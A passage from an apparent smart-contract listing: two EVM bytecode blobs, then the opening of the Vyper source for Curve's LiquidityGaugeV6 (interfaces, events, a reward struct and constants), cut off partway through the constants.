461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2d841929658118801880a16576797065728300030a0016000000000000000000000000733a2a4f6d111e04040e88d6595083828965e01b
5f3560e01c6002603f821660011b6128e501601e395f51565b63bfa0b133811861003657346128e15760206129a560403960206040f35b63095ea7b38118611c2d576044361034176128e1576004358060a01c6128e1576040526024356003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3611c2d565b6370a0823181186100f2576024361034176128e1576004358060a01c6128e15760405260016040516020525f5260405f205460605260206060f35b6301ddabf18118611c2d576024361034176128e1576004358060a01c6128e15760405260126040516020525f5260405f205460605260206060f3611c2d565b6318160ddd811861014d57346128e15760025460405260206040f35b6323b872dd8118611c2d576064361034176128e1576004358060a01c6128e1576103a0526024358060a01c6128e1576103c0525f546002146128e15760025f5560036103a0516020525f5260405f2080336020525f5260405f209050546103e0527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6103e0511461020b576103e0516044358082038281116128e1579050905060036103a0516020525f5260405f2080336020525f5260405f209050555b6103a0516102e0526103c051610300526044356103205261022a612779565b600161040052602061040060035f55f3611c2d565b63dd62ed3e8118610297576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260036040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b6384e9bd7e8118611c2d576024361034176128e1576004358060a01c6128e1576102e0525f61030052610f3a56611c2d565b6306fdde03811861034457346128e157602080604052806040016020600454015f81601f0160051c600381116128e157801561031857905b80600401548160051b850152600101818118610301575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63331345838118611c2d576024361034176128e1576004358060a01c6128e1576102805261028051604052610377611cc4565b6019610280516020525f5260405f2054638b752bb06102a052610280516102c052306102e05260206102a060446102bc73d061d61a4d941c39e5453435b6345dc261c2fce05afa6103ca573d5f5f3e3d5ffd5b60203d106128e1576102a0518082038281116128e15790509050610300526020610300f3611c2d565b6395d89b418118611c2d57346128e157602080604052806040016020600754015f81601f0160051c600381116128e157801561044257905b80600701548160051b85015260010181811861042b575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f3611c2d565b637ecebe0081146003361116156104b3576024361034176128e1576004358060a01c6128e157604052600a6040516020525f5260405f205460605260206060f35b639c868ac08118611c2d57346128e157600e5460405260206040f3611c2d565b63c45a015581186104ef57346128e157600b5460405260206040f35b633644e5158118611c2d57346128e157602061050c610120611c31565b610120f3611c2d565b63481c6a75811861053157346128e157600c5460405260206040f35b6396c551758118611c2d576024361034176128e1576004358060a01c6128e157610280526018610280516020525f5260405f20546102a05263da020a1861032052610280516103405263010ae7576102e052610280516103005260206102e060246102fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105b8573d5f5f3e3d5ffd5b60203d106128e1576102e051610360526020610320604461033c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa6105f5573d5f5f3e3d5ffd5b60203d106128e157610320516102c0526001610280516020525f5260405f20546102e0526370a082316103005261028051610320526020610300602461031c735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa610657573d5f5f3e3d5ffd5b60203d106128e1576103005161066e576001610678565b6102a0516102c051115b156128e1576102e051602881028160288204186128e15790506064810490506015610280516020525f5260405f205411156128e157610280516040526106bc611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526106e46125c3565b00611c2d565b6382c630668118611c2d57346128e157600d5460405260206040f3611c2d565b63963c94b98118611c2d57346128e15760105460405260206040f3611c2d565b6348e9c65e8118611c2d576024361034176128e1576004358060a01c6128e15760405260116040516020525f5260405f2080546060526001810154608052600281015460a052600381015460c052600481015460e0526005810154610100525060c06060f3611c2d565b63f05cc0588118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260136040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3611c2d565b6313ecb1ca8118611c2d576024361034176128e1576004358060a01c6128e15760405260156040516020525f5260405f205460605260206060f3611c2d565b6317e280898118611c2d57346128e15760165460405260206040f3611c2d565b63de263bfa8118611c2d576024361034176128e1576004358060a01c6128e15760405260176040516020525f5260405f205460605260206060f3611c2d565b639bd324f281186108c9576024361034176128e1576004358060a01c6128e15760405260186040516020525f5260405f205460605260206060f35b63e6f1daf28118611c2d57346128e157336102e0525f61030052610f3a56611c2d565b63094007078118610927576024361034176128e1576004358060a01c6128e15760405260196040516020525f5260405f205460605260206060f35b6383df67478118611c2d576064361034176128e1576024358060a01c6128e1576102e0526044358060011c6128e157610300525b5f546002146128e15760025f556102e051156128e1576102e051604052610980611cc4565b60043515610af2576010541515610320526002546103405261032051156109c2576102e05160405261034051606052610300516080525f60a0526109c26121f9565b610340516004358082018281106128e157905090506103405260016102e0516020525f5260405f20546004358082018281106128e15790509050610360526103605160016102e0516020525f5260405f2055610340516002556102e0516040526103605160605261034051608052610a386125c3565b600d546323b872dd61038052336103a052306103c0526004356103e0526020610380606461039c5f855af1610a6f573d5f5f3e3d5ffd5b60203d106128e157610380518060011c6128e1576104005261040050506102e0517fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c600435610380526020610380a26102e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610380526020610380a35b60035f5500611c2d565b63ef78d4fd8118611c2d57346128e157601a5460405260206040f3611c2d565b6354c49fe98118610b49576024361034176128e157600435600781116128e157601b015460405260206040f35b63be5d1be98118611c2d57346128e157600f5460d81c60405260206040f3611c2d565b637598108c8118610ba5576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f35b63fec8ee0c8118611c2d576024361034176128e1576004356c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460405260206040f3611c2d565b63b6b55f258118610c12576024361034176128e157336102e0525f6103005261095b565b636e553f658118611c2d576044361034176128e1576024358060a01c6128e1576102e0525f6103005261095b56611c2d565b632e1a7d4d8118610c63576024361034176128e1575f6102e052610d88565b63e8de0d4d8118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605233600c548118610ca5576001610ce8565b600b5463f851a44060e052602060e0600460fc845afa610cc7573d5f5f3e3d5ffd5b60203d106128e15760e0518060a01c6128e157610120526101209050518118155b9050156128e157606051156128e1576010546080526007608051116128e15760116040516020525f5260405f20600181019050546128e15760605160116040516020525f5260405f2060018101905055604051608051600781116128e157601b0155608051600181018181106128e157905060105500611c2d565b6338d074368118611c2d576044361034176128e1576024358060011c6128e1576102e0525b5f546002146128e15760025f5533604052610da1611cc4565b60043515610e9d57601054151561030052600254610320526103005115610de05733604052610320516060526102e0516080525f60a052610de06121f9565b610320516004358082038281116128e15790509050610320526001336020525f5260405f20546004358082038281116128e1579050905061034052610340516001336020525f5260405f205561032051600255336040526103405160605261032051608052610e4d6125c3565b600d5463a9059cbb6103605233610380526004356103a0526020610360604461037c5f855af1610e7f573d5f5f3e3d5ffd5b60203d106128e157610360518060011c6128e1576103c0526103c050505b337f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364600435610300526020610300a25f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600435610300526020610300a360035f5500611c2d565b639faceb1b8118611c2d576044361034176128e1576004358060a01c6128e1576102e0526024358060a01c6128e157610300525b5f546002146128e15760025f556103005115610f5b57336102e051186128e1575b6102e05160405260025460605260016080526103005160a052610f7c6121f9565b60035f5500611c2d565b63a9059cbb8118611c2d576044361034176128e1576004358060a01c6128e1576103a0525f546002146128e15760025f55336102e0526103a0516103005260243561032052610fd3612779565b60016103c05260206103c060035f55f3611c2d565b63d505accf8118611c2d5760e4361034176128e1576004358060a01c6128e157610120526024358060a01c6128e157610140526084358060081c6128e1576101605261012051156128e15760643542116128e157600a610120516020525f5260405f2054610180525f60026101c0527f19010000000000000000000000000000000000000000000000000000000000006101e0526101c08051602082018361032001815181525050808301925050506110a2610200611c31565b610200518161032001526020810190507f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c961024052610120516102605261014051610280526044356102a052610180516102c0526064356102e05260c061022052610220805160208201209050816103200152602081019050806103005261030090508051602082012090506101a052610120515f610240526101a0516101c052610160516101e052604060a461020037602061024060806101c060015afa5061024051186128e1576044356003610120516020525f5260405f2080610140516020525f5260405f2090505560016101805101600a610120516020525f5260405f205561014051610120517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9256044356101c05260206101c0a360016101c05260206101c0f3611c2d565b63395093518118611c2d576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082018281106128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f3611c2d565b63a457c2d7811861134a576044361034176128e1576004358060a01c6128e1576040526003336020525f5260405f20806040516020525f5260405f209050546024358082038281116128e157905090506060526060516003336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560605160805260206080a3600160805260206080f35b6390b229978118611c2d576024361034176128e1576004358060011c6128e157604052600b5463f851a440606052602060606004607c845afa61138f573d5f5f3e3d5ffd5b60203d106128e1576060518060a01c6128e15760a05260a090505133186128e157604051600e5500611c2d565b634b8200938118611c2d576024361034176128e1576004358060a01c6128e15761028052336102805181186113f257600161140b565b73d061d61a4d941c39e5453435b6345dc261c2fce08118155b9050156128e15761028051604052611421611cc4565b610280516040526001610280516020525f5260405f20546060526002546080526114496125c3565b60016102a05260206102a0f3611c2d565b63bdf981168118611c2d576024361034176128e1576004358060a01c6128e1576040526040516012336020525f5260405f205500611c2d565b63aace1d488118611c2d576024361034176128e1576004358060a01c6128e15760405233600c5481186114c757600161150a565b600b5463f851a44060c052602060c0600460dc845afa6114e9573d5f5f3e3d5ffd5b60203d106128e15760c0518060a01c6128e157610100526101009050518118155b9050156128e157604051600c557fe83c80a0349150991cb09b4c940149ac4c37cb03673b6c0c669b4da27865c28b60405160605260206060a100611c2d565b6393f7aa67811861156b576044361034176128e15762093a80610300526115a7565b63313ce5678118611c2d57346128e157601260405260206040f3611c2d565b6333b50aed8118611826576064361034176128e157604435610300525b6004358060a01c6128e1576102e0525f546002146128e15760025f5560116102e0516020525f5260405f206001810190505433186128e1575f6040526002546060526040366080376115f76121f9565b6102e0516370a082316103405230610360526020610340602461035c845afa611622573d5f5f3e3d5ffd5b60203d106128e157610340905051610320526102e0516323b872dd61034052336103605230610380526024356103a0526020610340606461035c5f855af161166c573d5f5f3e3d5ffd5b3d61168357803b156128e15760016103c05261169c565b60203d106128e157610340518060011c6128e1576103c0525b6103c0905051156128e1576102e0516370a082316103405230610360526020610340602461035c845afa6116d2573d5f5f3e3d5ffd5b60203d106128e157610340905051610320518082038281116128e157905090506103205260116102e0516020525f5260405f206002810190505461034052610300516103205111156128e157610340514210156117b45761034051428082038281116128e15790509050610360526103605160116102e0516020525f5260405f20600381019050548082028115838383041417156128e157905090506103805261032051610380518082018281106128e157905090506103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050556117e0565b610320516103005180156128e1578082049050905060116102e0516020525f5260405f20600381019050555b4260116102e0516020525f5260405f206004810190505542610300518082018281106128e1579050905060116102e0516020525f5260405f206002810190505560035f55005b63d31f3f6d8118611c2d57346128e157601a546c01431e0fae6d7217ca9fffffff81116128e1576023015460405260206040f3611c2d565b63058a3a248118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116040516020525f5260405f20600181019050546080523360805181186118b857600161190f565b600b5463f851a440610100526020610100600461011c845afa6118dd573d5f5f3e3d5ffd5b60203d106128e157610100518060a01c6128e15761014052610140905051811861190857600161190f565b600c548118155b9050156128e157608051156128e157606051156128e15760605160116040516020525f5260405f206001810190505500611c2d565b63e77e74378118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260146040516020525f5260405f20806060516020525f5260405f209050546fffffffffffffffffffffffffffffffff8116905060805260206080f3611c2d565b6333fd6f748118611c2d576044361034176128e1576004358060a01c6128e1576040526024358060a01c6128e15760605260116060516020525f5260405f206005810190505460805260025460a05260a05115611aca574260116060516020525f5260405f20600281019050548082811882841002189050905060c05260c05160116060516020525f5260405f20600481019050548082038281116128e1579050905060e05260805160e05160116060516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060a05180156128e157808204905090508082018281106128e157905090506080525b60136060516020525f5260405f20806040516020525f5260405f2090505460c05260016040516020525f5260405f205460805160c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a76400008104905060e05260146040516020525f5260405f20806060516020525f5260405f2090505460801c60e0518082018281106128e15790509050610100526020610100f3611c2d565b63180692d08118611baf57346128e157600f547affffffffffffffffffffffffffffffffffffffffffffffffffffff8116905060405260206040f35b6354fd4d508118611c2d57346128e15760208060805260066040527f76362e312e30000000000000000000000000000000000000000000000000000060605260408160800181518152602082015160208201528051806020830101601f825f03163682375050601f19601f8251602001011690509050810190506080f35b5f5ffd5b60206129855f395f514614611cb9577f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60605260206129656080397f71916ddf3efd1d13d14899519c9cd193fa3f9be07ea852717d2f225de1eb246660a0524660c0523060e05260206129a56101003960c06040526040805160208201209050815250611cc2565b60206129c58239505b565b601a546060526060516c01431e0fae6d7217ca9fffffff81116128e157602301546080526060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015460a052600f5460c05260c05160d81c60e052600e546101005260c0517affffffffffffffffffffffffffffffffffffffffffffffffffffff811690506101205261012051610140526101005115611d6857604036610120375b60805160e05110611e265763b26b238e610180526020610180600461019c5f73d533a949740bb3306d119cc777fa900ba034cd525af1611daa573d5f5f3e3d5ffd5b60203d106128e157610180516101605261010051611e0957632c4e722e610180526020610180600461019c73d533a949740bb3306d119cc777fa900ba034cd525afa611df8573d5f5f3e3d5ffd5b60203d106128e15761018051610140525b6101605160d81b610140518082018281106128e15790509050600f555b6080514211156120fa576016546101605263615e523761018052306101a052732f50d538606fa9edd2b11e2446beb18c9d5846bb3b156128e1575f610180602461019c5f732f50d538606fa9edd2b11e2446beb18c9d5846bb5af1611e8d573d5f5f3e3d5ffd5b6080516101805260805162093a8081018181106128e157905062093a808104905062093a8081028162093a808204186128e157905042808281188284100218905090506101a0525f6101f4905b806101c0526101a051610180518082038281116128e157905090506101e05263d3078c9461022052306102405261018051610260526020610220604461023c732f50d538606fa9edd2b11e2446beb18c9d5846bb5afa611f3c573d5f5f3e3d5ffd5b60203d106128e157610220516102005261016051156120b0576101805160e0511015611f68575f611f71565b6101a05160e051105b611fd35760a05161012051610200518082028115838383041417156128e157905090506101e0518082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0526120b0565b60a05161012051610200518082028115838383041417156128e1579050905060e051610180518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a052610140516101205260a05161012051610200518082028115838383041417156128e157905090506101a05160e0518082038281116128e157905090508082028115838383041417156128e157905090506101605180156128e157808204905090508082018281106128e1579050905060a0525b426101a051186120bf576120f7565b6101a051610180526101a05162093a8081018181106128e157905042808281188284100218905090506101a052600101818118611eda575b50505b6060516001810180600f0b81186128e1579050606052606051601a55426060516c01431e0fae6d7217ca9fffffff81116128e1576023015560a0516060516c01431e0fae6d7217ca9fffffff81116128e1576c01431e0fae6d7217caa0000023015560156040516020525f5260405f20546101605260196040516020525f5260405f2080546101605160a05160176040516020525f5260405f20548082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490508082018281106128e1579050905081555060a05160176040516020525f5260405f20554260186040516020525f5260405f2055565b5f60c05260a05160e052604051156122545760016040516020525f5260405f205460c05260805161222a575f61222f565b60a051155b156122545760126040516020525f5260405f205460e05260e0516122545760405160e0525b601054610100525f6008905b8061012052610100516101205118612277576125bf565b61012051600781116128e157601b0154610140526011610140516020525f5260405f206005810190505461016052426011610140516020525f5260405f20600281019050548082811882841002189050905061018052610180516011610140516020525f5260405f20600481019050548082038281116128e157905090506101a0526101a0511561230c57606051151561230e565b5f5b156123ba57610180516011610140516020525f5260405f2060048101905055610160516101a0516011610140516020525f5260405f20600381019050548082028115838383041417156128e15790509050670de0b6b3a7640000810281670de0b6b3a76400008204186128e157905060605180156128e157808204905090508082018281106128e1579050905061016052610160516011610140516020525f5260405f20600581019050555b604051156125b4576013610140516020525f5260405f20806040516020525f5260405f209050546101c0525f6101e052610160516101c051101561245a57610160516013610140516020525f5260405f20806040516020525f5260405f2090505560c051610160516101c0518082038281116128e157905090508082028115838383041417156128e15790509050670de0b6b3a7640000810490506101e0525b60146040516020525f5260405f2080610140516020525f5260405f20905054610200526102005160801c6101e0518082018281106128e157905090506102205261022051156125b457610200516fffffffffffffffffffffffffffffffff811690506102405260805161250d576101e051156125b457610240516102205160801b8082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050556125b4565b6101405163a9059cbb6102605260e05161028052610220516102a0526020610260604461027c5f855af1612543573d5f5f3e3d5ffd5b3d61255a57803b156128e15760016102c052612573565b60203d106128e157610260518060011c6128e1576102c0525b6102c0905051156128e15761024051610220518082018281106128e1579050905060146040516020525f5260405f2080610140516020525f5260405f209050555b600101818118612260575b5050565b63bbf7408a60c05260405160e052602060c0602460dc738e0c00ed546602fd9927df742bbabf726d5b0d165afa6125fc573d5f5f3e3d5ffd5b60203d106128e15760c05160a0526318160ddd60e052602060e0600460fc735f3b5dfeb7b28cdbd7faba78963ee202a494e2a25afa61263d573d5f5f3e3d5ffd5b60203d106128e15760e05160c052606051602881028160288204186128e157905060648104905060e05260c051156126c45760e05160805160a0518082028115838383041417156128e1579050905060c05180156128e15780820490509050603c810281603c8204186128e15790506064810490508082018281106128e1579050905060e0525b60605160e0518082811882841002189050905060e05260156040516020525f5260405f20546101005260e05160156040516020525f5260405f205560165460e0518082018281106128e15790509050610100518082038281116128e1579050905061012052610120516016556040517f7ecd84343f76a23d2227290e0288da3251b045541698e575a5515af4f04197a3606051610140526080516101605260e05161018052610120516101a0526080610140a2565b6102e051604052612788611cc4565b61030051604052612797611cc4565b61032051156128a8576002546103405260105415156103605261036051156127d5576102e051604052610340516060526040366080376127d56121f9565b60016102e0516020525f5260405f2054610320518082038281116128e15790509050610380526103805160016102e0516020525f5260405f20556102e051604052610380516060526103405160805261282c6125c3565b61036051156128515761030051604052610340516060526040366080376128516121f9565b6001610300516020525f5260405f2054610320518082018281106128e1579050905061038052610380516001610300516020525f5260405f20556103005160405261038051606052610340516080526128a86125c3565b610300516102e0517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61032051610340526020610340a3565b5f80fd047203f31c2d02c91c2d1c2d1c2d08ec1493082f07f01c2d0b6c0c441c2d0fe81b7311ec1c2d13bc1c2d04d3145a129d07941c2d1c2d0f061c2d0131072a1c2d1c2d1c2d1c2d1c2d185e0bee06ea15491c2d0b1c1c2d1c2d1c2d158a1c2d1c2d1c2d00b7088e001819b505150d6319441c2d070a084f0f861c2d0afc023f1c2dbaff847ab9b024141126f054ee42aaacb0dde23cd2ec81f30c458b1b201e8d84000000000000000000000000000000000000000000000000000000000000000144cffc66a786e551a61036217d181ecec084a1bcb84587b6efdefe95254fb58f2ebdc7acc2049ba3e7155f245ded9f2083d4d2dc1fef08ea2d804d628df30d08
# pragma version 0.3.10 # pragma optimize gas # pragma evm-version shanghai """ @title LiquidityGaugeV6 @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Implementation contract for use with Curve Factory @dev Differs from v5.0.0 in that it uses create_from_blueprint to deploy Gauges """ from vyper.interfaces import ERC20 implements: ERC20 interface CRV20: def future_epoch_time_write() -> uint256: nonpayable def rate() -> uint256: view interface Controller: def checkpoint_gauge(addr: address): nonpayable def gauge_relative_weight(addr: address, time: uint256) -> uint256: view interface ERC20Extended: def symbol() -> String[32]: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface Factory: def admin() -> address: view interface Minter: def minted(user: address, gauge: address) -> uint256: view interface VotingEscrow: def user_point_epoch(addr: address) -> uint256: view def user_point_history__ts(addr: address, epoch: uint256) -> uint256: view interface VotingEscrowBoost: def adjusted_balance_of(_account: address) -> uint256: view event Deposit: provider: indexed(address) value: uint256 event Withdraw: provider: indexed(address) value: uint256 event UpdateLiquidityLimit: user: indexed(address) original_balance: uint256 original_supply: uint256 working_balance: uint256 working_supply: uint256 event CommitOwnership: admin: address event ApplyOwnership: admin: address event SetGaugeManager: _gauge_manager: address event Transfer: _from: indexed(address) _to: indexed(address) _value: uint256 event Approval: _owner: indexed(address) _spender: indexed(address) _value: uint256 struct Reward: token: address distributor: address period_finish: uint256 rate: uint256 last_update: uint256 integral: uint256 MAX_REWARDS: constant(uint256) = 8 TOKENLESS_PRODUCTION: constant(uint256) = 40 WEEK: constant(uint256) = 604800 VERSION: constant(String[8]) = "v6.1.0" # <- updated from v6.0.0 (makes rewards semi-permissionless) EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)") EIP2612_TYPEHASH: 